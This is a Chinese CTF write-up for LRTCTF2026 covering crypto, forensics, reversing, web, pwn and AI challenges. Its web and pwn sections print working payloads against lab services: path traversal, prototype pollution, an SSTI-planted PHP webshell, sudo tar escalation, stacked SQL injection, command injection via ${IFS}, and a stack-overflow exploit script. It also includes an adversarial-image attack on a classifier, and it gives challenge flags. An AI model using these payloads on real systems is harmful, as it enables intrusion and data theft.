LRTCTF2026WP

Misc

签到题

关注公众号可得。

In Girl

随波逐流处理zip伪加密(0000与0009),再通过foremost文件提取得到00000290.png,是一个二维码,扫码可得flag。

听音

把wav拖入audacity,音轨可视化->频谱图,可以看到摩尔斯电码,

image-20261108151549413

解密即可:04420FEED1585E1A5688C4867CE103C3

USB

附件是usb流量包,用tshark:

1
tshark -r mouse_trajectory.pcap -T fields -e usb.capdata -e usbhid.data -Y "usb.capdata || usbhid.data"

鼠标键:[按钮, dx, dy, 滚轮],故写脚本处理坐标累加问题,轨迹问题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import struct
import matplotlib.pyplot as plt

pts, x, y = [], 0, 0
for t in open('data.txt').read().split():
r = bytes.fromhex(t.replace(':', ''))
dx, dy = struct.unpack('bb', r[1:3])
x += dx; y += dy
pts.append((x, y, r[0]))

fig, ax = plt.subplots(figsize=(22, 2))
for (x0, y0, b0), (x1, y1, b1) in zip(pts, pts[1:]):
if b1 and b0:
ax.plot([x0, x1], [y0, y1], 'k')
ax.set_aspect('equal'); ax.invert_yaxis(); ax.axis('off')
plt.savefig('flag.png', dpi=110)

得到图片,图片内容即flag:

flag

取证

附件memory.dmp,魔数为EMiL,目标为Linux。

还可以看到系统为Ubuntu 16.04 HWE 内核 4.15.0-142-generic.

但发现可以直接搜索flag:

1
# flag{m3m0ry_1s_4lw4ys_th3r3}

问卷

填写问卷得到flag。

Crypto

口算

附件给出 p=61、q=53、e=17,运行输出 n=3233、e=17、c=2790,求明文 m:

1
2
3
4
5
6
from Crypto.Util.number import inverse

p, q, e, c = 61, 53, 17, 2790
n = p * q
d = inverse(e, (p - 1) * (q - 1))
print(pow(c, d, n))

得到65。

Silent Broadcast

Håstad 广播攻击。

1
2
3
4
5
6
from sympy import integer_nthroot

c = 9350827553280369628999104613936543175021426316980818077380453958584157521232324535369375619309650706161140582027515355043918852859658183851700228786032381689299259492007433363885744515854352473790843021724546169393057929638034654349796709198318275394342253669

m = integer_nthroot(c, 3)[0]
print(m.to_bytes((m.bit_length() + 7) // 8, "big"))

得到:

1
b'lrtctf{h4st4d_br0adc4st_1s_n0t_s4fe}'

ez_23@

共模攻击,两组指数/密文 (e1=65537, c1)、(e2=17, c2)。

扩展欧几里得求出 s、t 使 s·e1 + t·e2 = 1即可,故:

1
2
3
4
5
6
7
8
9
10
11
12
n = 98431514160887347271189769602169191951513258485773947455606372502958270253217575729450758538759746913329549019298102926080143126585286702387524230478879382793217326618989030707925842715078486852366475683112165008249549264898926383259641085248861867606940137730183444091542668451702335703716374378819558470583
e1, c1 = 65537, 41430169705919591464045305283843887516857601814606429122868169321811710472235615660605172933859621784859162136537003799698836903164282904050692156423576548846402849159339992767083708701214116277226265698503031091222874007004290688235596976071157295913782023974901717644923547515310749635943256341245695418912
e2, c2 = 17, 67710393944851194619933845787696198747640939480699751252185025856408860932160625815279872238417746390747470516817475115718413448993398698630461649870348008482767224423425492502977024555769667205141448269181966828389809652633381132581953741165322840449578244785502008163883930298743514028283939687565893796953

def egcd(a, b):
if b == 0: return a, 1, 0
g, x, y = egcd(b, a % b)
return g, y, x - (a // b) * y

_, s, t = egcd(e1, e2)
m = pow(c1, s, n) * pow(c2, t, n) % n
print(m.to_bytes((m.bit_length() + 7) // 8, 'big'))

得到flag:

1
lrtctf{common_modulus_attack}

Web

Lrtmall

可以看到内联js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<script>
document.querySelectorAll('.pimg').forEach(function (img) {
var file = img.getAttribute('data-file');
fetch('/load_image', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: 'filename=' + encodeURIComponent(file),
cache: 'no-store'
})
.then(function (r) {
if (!r.ok) throw new Error('failed');
return r.blob();
})
.then(function (blob) {
img.src = URL.createObjectURL(blob);
var loading = img.nextElementSibling;
if (loading) loading.style.display = 'none';
})
.catch(function () {
img.alt = '图片加载失败';
var loading = img.nextElementSibling;
if (loading) loading.textContent = '图片加载失败';
});
});
</script>

向/load_image接口发送POST请求,带filename的参数,于是尝试路径穿越:

1
2
3
4
filename=flag
filename=../flag
filename=../../flag
filename=../../../flag

得到flag:lrtctf{P4Th_tr4VIe_b54e459e0e76}

CronHub

深度合并意味着这里可以原型链污染:

1
{"__proto__": {"a": "a"}}

点更新配置没有渲染,尝试套在constructor里:

1
{"constructor": {"prototype": {"a": "a"}}}

发现渲染了,于是尝试:

1
2
{"constructor": {"prototype": {"admin": "true"}}}
{"constructor": {"prototype": {"isadmin": "true"}}}

第二个成功进入后台。

再尝试:

1
{"constructor":{"prototype":{"env":{"NODE_OPTIONS":"--require=/flag"}}}}

配置后运行任务,直接看到flag:

image-20261108150322915

阿巴巴巴巴⑧

想进入后台,但是发现权限不够,看到jwt,于是考虑伪造jwt。

hashcat 跑 JWT 签名:

1
hashcat -m 16500 jwt.txt rockyou.txt

拿到了secret,故去jwt.io伪造,访问/admin。

看到通知模板,尝试{{1*1}}无回显,于是dirsearch扫接口,扫到/composer.json:

1
{ "require": { "twig/twig": "3.10.3" } }

后端为twig3。

后面又尝试探测,发现sleep有反应(tpl={{['sleep 6']|filter('system')}}),但是无回显。

故尝试源码审计,可以看到/var/www/html/uploadswww-data可写。

用base64绕开引号,

1
tpl={{['echo PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA=|base64 -d > /var/www/html/uploads/z.php']|filter('system')}}

之后访问 /uploads/z.php?c=id 正常回显。

webshell 里 sudo -n -l:

1
2
User www-data may run the following commands:
(root) NOPASSWD: /usr/bin/tar

经典绕过:

1
sudo -n tar cf /tmp/r.tar /root && tar -xOf /tmp/r.tar root/flag

root权限打包/root再绕过,得到flag:lrtctf{f996a9c6-e411-4ab8-a93d-cd844a3eeb4a}

阿八八八八Ⅷ

找房间,考虑sql注入,本题是SQLite。

1
2
room=A101' AND '1'='1   → 找到匹配时段
room=A101' AND '1'='2 → 没有匹配的时段

简单探测发现布尔注入仅仅一个数字不同就有不同结果,使用sqlmap枚举:

1
sqlmap -u "http://10.3.37.51:34098/reserve/search?room=A101" --cookie="PHPSESSID=..." --batch --technique=B --string="找到匹配" --dbs --tables -D labres

得到三张表feedback / slots / users,其中 users(id, name, role, admin_until)看到admin权限过期。

注入点支持堆叠查询,考虑把admin改成有效的:

1
room=A101'; UPDATE users SET role='admin',admin_until=4102444800 WHERE id=2;-- -

刷新后/admin/出现。

可以看到有导出功能,/admin/export.php?op=export&tz=now,将tz改成:tz=a,可以在响应里看到:

1
date: invalid date 'Bogus/Zone'

tz可以进入命令中,于是探测黑名单拦截的符号:

1
;  |  &  `  空格  <  >  *  ?  "  '

空格可以替换${IFS},报错信息直接回显:

1
2
tz=now$(id)
→ date: invalid date 'nowuid=33(www-data) gid=33(www-data) ...'

查看根目录的entrypoint.sh:

1
2
tz=now$(sed${IFS}-n${IFS}9p${IFS}/entrypoint.sh)
→ printf '%s\n' "$GZCTF_FLAG" > /var/www/flag.txt

看到flag在/var/www/flag.txt:

1
2
tz=now$(cat${IFS}/var/www/flag.txt)
→ date: invalid date 'nowlrtctf{8277b9a9-8471-4c8e-8514-2d07d03f5cd3}'

Pwn

overstack

看保护:

1
2
checksec stackstart    # 非 PIE(地址固定)、开 canary、stripped
./stackstart # 菜单:1) draft 2) send 3) quit

在0x4014e9可以看到隐藏函数:

image-20261108172821607

参数等于0x434f555249455221时fopen("/flag")并打印。

image-20261108173504382

这个可以直接给前面那个函数传参,又观察到draft:printf(你的输入)存在格式化字符串漏洞;send:read0x180 字节,但缓冲到canary只有0x68存在栈溢出。

故exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

io = remote('10.3.37.51', 33815)

io.sendlineafter(b'> ', b'1')
io.sendafter(b'draft note:', b'|'.join(b'%%%d$p' % n for n in range(22, 30)))
line = b''
while line.count(b'|') < 7:
line = io.recvline()
canary = next(v for t in line.split(b'|') if (v := 0 if b'nil' in t else int(t, 16))
and v & 0xff == 0 and not 0x7f0000000000 <= v <= 0x7fffffffffff)

io.sendlineafter(b'> ', b'2')
io.sendafter(b'recipient:',
b'A' * 0x68 + p64(canary) + p64(0) + p64(0x4014d0)
+ p64(0x434f555249455221) + p64(0x4014d1) + p64(0x4014e9))
print(io.recvall(timeout=2).decode(errors='replace'))

Reverse

数学高手

IDA 打开,无符号但主函数就是入口,F5(整理后):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int sum[11]  = {222, 215, 218, 242, 209, 210, 210, 203, 230, 215, 227};
int diff[11] = {-6, 17, 14, 4, -7, -12, 8, -13, -2, -17, -23};

scanf("%255s", buf);
if (strlen(buf) != 22) { puts("Wrong length!"); return; }

for (int i = 0; i < 11; i++) {
int a = buf[2*i], b = buf[2*i + 1];
if (a + b != sum[i] || a - b != diff[i]) {
printf("Error in chunk %d! Access Denied.\n", i);
return;
}
}
puts("Equations solved! Submit your flag!");

分析一下,flag共22字符,相邻两位一组共11组,每组满足和差校验:

1
2
a + b = sum[i]
a - b = diff[i]

和差问题消元:a = (sum+diff)/2,b = (sum-diff)/2,11组代入即得。

1
2
3
$ ./ez2
Please enter the flag: lrtctf{welcome_lrtctf}
Equations solved! Submit your flag!

Mazerev

题目给了一个 challenge1.exe(x64 PE,UPX 壳),程序提示 Please input your flag:,输入正确输出 right。

直接脱壳,节名 UPX0/UPX1/UPX2,直接:

1
upx -d challenge1.exe -o unpacked.exe

IDA打开搜字符串Please input your flag,交叉引用即main.

可以看到:

地址 函数
0x13B20 main:scanf → check
0x2B20 check:前缀 lrtctf{、长度 40、结尾 }
0x29D0 三条路径拼接,取其MD5 → 与输入 { 后 32 字符比较
0x2670 对 15×15 迷宫 BFS 求最短路
0x14020 迷宫数据:0=墙,1=通路,3=起点,4=终点

故总结算法:

程序依次解3张迷宫:从3走到4要求最短路径,得到三段wasd路径串;拼接后取MD5,转32位小写 hex,与flag花括号内32字符strncmp比较。

三条路径与输入无关,任何合法格式的输入都会走到最终比较处。x64dbg 载入脱壳文件:

1
bp strncmp

随便输入一个满足格式的串,这里写lrtctf{00000000000000000000000000000000}。断点命中两次:第一次是前缀比较(r8=7),第二次(r8=0x20)时rdx指向的内存就是我们要的hex:d75871d810d84814126b8427d579c25a。

故flag:lrtctf{d75871d810d84814126b8427d579c25a}

HRDrev

程序是一台自定义VM的解释器,flag校验逻辑被编译成字节码放在bytecode.bin里。

先脱壳,exe带UPX壳:

1
upx -d challenge2.exe -o unpacked.exe

拖入IDA,分析main函数的逻辑:

1
2
3
4
读入一行,长度必须恰好46,否则直接 Wrong;
输入整体作为VM的内存,bytecode.bin作为VM的代码,寄存器清零后运行;
停机判定看 r0:0x600df00d → Correct,0xbad0bad0 → Wrong。
目标要让所有校验通过、以r0 = 0x600df00d停机。

故查VM指令与反汇编字节码,尝试反解:

1
2
rol32((in16 ^ K1) + K2, S) == K3
→ in16 == ror32(K3, S) - K2 ^ K1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import struct
M, code = 0xffffffff, open('bytecode.bin', 'rb').read()
ror = lambda x, n: ((x >> n) | (x << (32 - n))) & M

flag, pc = bytearray(46), 0
while pc < len(code):
if code[pc] != 0x07: # 0x07 是每个校验块的第一条指令
pc += 1; continue
addr = code[pc+2] | code[pc+3] << 8
k1 = struct.unpack_from('<I', code, pc+6)[0]
k2 = struct.unpack_from('<I', code, pc+12)[0]
s = code[pc+18]
k3 = struct.unpack_from('<I', code, pc+21)[0]
v = ((ror(k3, s) - k2) & M) ^ k1
flag[addr:addr+2] = v.to_bytes(2, 'little')
pc += 0x25 # 校验块固定长度
print(flag.decode())

go_back

go_back.py是一个加密算法,全是可逆变换,倒推即可。

CyberChef解密,Reverse->Translate(Table: 10 → 01)->From Binary(Delimiter: None)->Bit shift right(Amount: 1)。

AI

Lap酱的门禁

写一个对抗样本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import importlib.util, numpy as np, torch
from PIL import Image

spec = importlib.util.spec_from_file_location("m", "model.py")
m = importlib.util.module_from_spec(spec); spec.loader.exec_module(m)
model = m.load_model("model.pt")

x0 = torch.from_numpy(np.asarray(Image.open("sample.png").convert("L"), dtype=np.float32)/255.0)[None,None]
TARGET, eps = 7, 0.33 # 留 0.02 余量

for seed in range(5): # 失败就换种子重试
torch.manual_seed(seed)
x = (x0 + torch.empty_like(x0).uniform_(-eps, eps)).clamp(0,1).requires_grad_(True)
opt = torch.optim.Adam([x], lr=0.03)
for it in range(600):
opt.zero_grad(); (-model(x)[0, TARGET]).backward(); opt.step()
with torch.no_grad(): x.clamp_(x0-eps, x0+eps).clamp_(0,1) # 投影回预算内
if it % 50 == 49:
arr = (x.detach().numpy()[0,0]*255).round().astype(np.uint8)
Image.fromarray(arr).save("adv7.png") # 必须过一遍 PNG 量化
back = np.asarray(Image.open("adv7.png").convert("L"), dtype=np.float32)/255.0
with torch.no_grad():
if int(model(torch.from_numpy(back)[None,None])[0].argmax()) == TARGET:
print("done, L∞ =", float(abs(back - x0.numpy()[0,0]).max())); exit()

得到的png:

adv7

上传即可。

Osint

LAP酱的旅行日记Ⅱ

属性里可以看到一些特别的属性:

image-20261108143135287

base64解码,

image-20261108143205390

辽宁葫芦岛->辽宁,时间可以直接在拍摄日期里看到:2026/08/23,时分是0911.

故flag:lrtctf{辽宁葫芦岛_天津_2026/8/23_0911}